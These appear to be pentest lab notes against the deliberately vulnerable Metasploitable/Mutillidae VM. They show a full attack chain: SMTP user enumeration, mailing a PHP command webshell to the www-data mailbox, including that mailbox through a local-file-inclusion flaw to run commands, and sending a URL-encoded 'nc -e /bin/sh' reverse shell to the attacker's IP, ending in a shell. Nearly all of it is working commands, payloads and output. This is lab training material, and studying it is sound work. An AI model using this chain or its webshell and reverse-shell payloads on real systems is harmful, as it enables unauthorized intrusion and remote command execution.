LFI via postfix

Enumerate postfix username

```
msf5 auxiliary(scanner/smtp/smtp_enum) > run

[*] 192.168.234.136:25    - 192.168.234.136:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
[+] 192.168.234.136:25    - 192.168.234.136:25 Users found: , backup, bin, daemon, distccd, ftp, games, gnats, irc, libuuid, list, lp, mail, man, news, no
body, postgres, postmaster, proxy, service, sshd, sync, sys, syslog, user, uucp, www-data
[*] metasploitable:25     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smtp/smtp_enum) >
```

Inject php commands and send it to www-data

```
root@kali:~# nc metasploitable 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
helo ok
250 metasploitable.localdomain
mail from: test@test.com
250 2.1.0 Ok
rcpt to: www-data
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php echo system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 1D12FCBFC
```

Request

Request

Raw | Params | Headers | Hex

```
GET /mutillidae/index.php?page=/var/mail/www-data&cmd=id HTTP/1.1
Host: metasploitable
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=10000b2c59ec3cca822fb56c3dadcc13
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Sep 2019 10:36:26 GMT
```

Response

```
<td valign="top">
        <blockquote>
        <!-- Begin Content -->
From test@test.com  Fri Sep 13 06:30:40 2019
Return-Path: <test@test.com>
X-Original-To: www-data
Delivered-To: www-data@metasploitable.localdomain
Received: from ok (unknown [192.168.234.152])
        by metasploitable.localdomain (Postfix) with SMTP id 1D12FCBFC
        for <www-data>; Fri, 13 Sep 2019 06:30:11 -0400 (EDT)
Message-Id: <20190913103016.1D12FCBFC@metasploitable.localdomain>
Date: Fri, 13 Sep 2019 06:30:11 -0400 (EDT)
From: test@test.com
To: undisclosed-recipients:;

uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

nc -e /bin/sh 192.168.234.152 8888

Encode as url in burp:

```
%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%31%39%32%2e%31%36%38%2e%32%33%34%2e%31%35%32%20%38%38%38%38
```

Adjust the header to include the above url encoded command:

```
GET
/mutillidae/index.php?page=/var/mail/www-data&cmd=%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%31%39%32%2e%31%36%38%2e%32%33%3
4%2e%31%35%32%20%38%38%38%38 HTTP/1.1
Host: metasploitable
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=10000b2c59ec3cca822fb56c3dadcc13
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Sep 2019 10:36:26 GMT
```

Shell popped:

```
nc -nlvp 8888
connect to [192.168.234.152] from (UNKNOWN) [192.168.234.136] 49931
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```